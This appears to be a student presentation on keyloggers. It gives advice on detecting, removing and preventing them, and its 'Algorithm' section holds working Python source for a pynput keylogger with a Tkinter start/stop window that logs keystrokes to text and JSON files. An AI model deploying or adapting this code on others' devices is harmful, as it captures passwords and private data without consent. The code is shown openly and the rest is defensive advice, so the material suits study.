keylogger

Presented by: Sneghatharini.R-Christian College of Engineering and Technology-IT(information technology)

Problem statement

In today's digital age, where cybersecurity threats loom large, one of the significant concerns is the proliferation of keyloggers, stealthy software tools designed to monitor and record keystrokes on a user's computer without their knowledge. Keyloggers pose a severe threat to individuals and organizations as they can capture sensitive information such as passwords, credit card details, and other personal data, leading to identity theft, financial loss, and privacy breaches.

Proposed sollution

Keylogging spyware thrives on stealth, but can a keylogger be detected? While hardware may be relatively easy to find — like a USB drive or a peripheral connected to your keyboard — software can often go undetected until it’s too late.

Keylogging malware can show many common virus warning signs, including slower computer performance when browsing or starting up programs, abnormal delays in activity, pop-ups, new icons on your desktop or system tray, or excessive hard drive or network activity.

If you detect any of these symptoms and think your device may be infected, here’s how to scan for keyloggers and remove keylogging malware.

Check your software inventory:

Successful keystroke logger detection starts with taking stock of the programs and processes running on your computer. While many of these apps may have unfamiliar or even suspicious-looking names, some may blend in with the names of other software and be harder to spot.

Check your browser extensions:

Some keylogging malware is designed specifically to monitor your web usage and may show up as a browser extension. Check your browser menu and the list of active extensions. If there are any you

keylogger

don’t recognize or didn’t download, deactivate and remove them.

Remove keylogger:

Keyloggers can be removed in much the same way as you would remove other forms of malware. Always exercise caution when handling computer programs — even if one seems suspicious, it could be a necessary tool, and disabling it could cause problems. If you’re certain a program is a keylogger, disable it, uninstall it, and delete it from your device.

What to do if you don’t find a keylogger.

If you fail to identify any malicious keyloggers, you could reinstall your device’s operating system or perform a factory reset, which will effectively wipe all the data and programs from your device that were installed over the factory default settings.

Algorithm

```
                          import tkinter as tk

from tkinter import *

from pynput import keyboard

import json


keys_used = []

flag = False

keys = ""


def generate_text_log(key):

    with open('key_log.txt', "w+") as keys:

        keys.write(key)


def generate_json_file(keys_used):

    with open('key_log.json', '+wb') as key_log:

        key_list_bytes = json.dumps(keys_used).encode()

        key_log.write(key_list_bytes)
```

keylogger

```
def on_press(key):
    global flag, keys_used, keys
    if flag == False:
        keys_used.append(
            {'Pressed': f'{key}'}
        )
        flag = True

    if flag == True:
        keys_used.append(
            {'Held': f'{key}'}
        )
    generate_json_file(keys_used)



def on_release(key):
    global flag, keys_used, keys
    keys_used.append(
        {'Released': f'{key}'}
    )

    if flag == True:
        flag = False
    generate_json_file(keys_used)

    keys = keys + str(key)
    generate_text_log(str(keys))

def start_keylogger():
    global listener
    listener = keyboard.Listener(on_press=on_press, on_release=on_release)
    listener.start()
    label.config(text="[+] Keylogger is running!\n[!] Saving the keys in 'keylogger.txt'")
    start_button.config(state='disabled')
    stop_button.config(state='normal')

def stop_keylogger():
    global listener
    listener.stop()
    label.config(text="Keylogger stopped.")
    start_button.config(state='normal')
    stop_button.config(state='disabled')

root = Tk()
root.title("Keylogger")

label = Label(root, text='Click "Start" to begin keylogging.')
label.config(anchor=CENTER)
label.pack()

start_button = Button(root, text="Start", command=start_keylogger)
start_button.pack(side=LEFT)

stop_button = Button(root, text="Stop", command=stop_keylogger, state='disabled')
stop_button.pack(side=RIGHT)

root.geometry("250x250")

root.mainloop()
```

keylogger

Enable two-factor authentication: Enabling two-factor authentication (2FA) is one of the most effective forms of virus, malware, and keylogger prevention. 2FA adds an extra log-in step such as a fingerprint or temporary PIN sent to your phone, which helps to authenticate your identity and make sure unauthorized people can't access your account.

Don’t download unknown files: Another important way to protect yourself from different types of malware is to avoid downloading unknown files or clicking on suspicious links. Phishing attacks are widely used scams that can lead to malware or keylogger infections.

Consider a virtual keyboard: This displays an interactive keyboard on your screen, so you don’t have to physically type on an analog one. Virtual keyboards circumvent keylogging hardware and any keylogging software specifically designed to record interactions with your physical keyboard. But some software can still monitor your on-screen interactions, so it’s not a complete solution.

Use a password manager: A password manager isn’t just a convenient way to store passwords. It’s also an effective tool against keylogging, because you don’t display your passwords or physically type them into your keyboard or keypad, meaning that keystroke monitors can’t capture them.

Consider voice-to-text conversion software: Like a virtual keyboard, voice-to-text conversion software can circumvent forms of keylogging that specifically target your physical keyboard.

Use antivirus software: Look for antivirus protection that includes anti-spyware and anti-keylogger protection. As with all forms of viruses, new, more sophisticated keystroke malware is being written all the time, so keep your software updated to stay more secure.

Result

In today's digital age, where cybersecurity threats loom large, one of the significant concerns is the proliferation of keyloggers, stealthy software tools designed to monitor and record keystrokes on a user's computer without their knowledge. Keyloggers pose a severe threat to individuals and organizations as they can capture sensitive information such as passwords, credit card details, and other personal data, leading to identity theft, financial loss, and privacy breaches.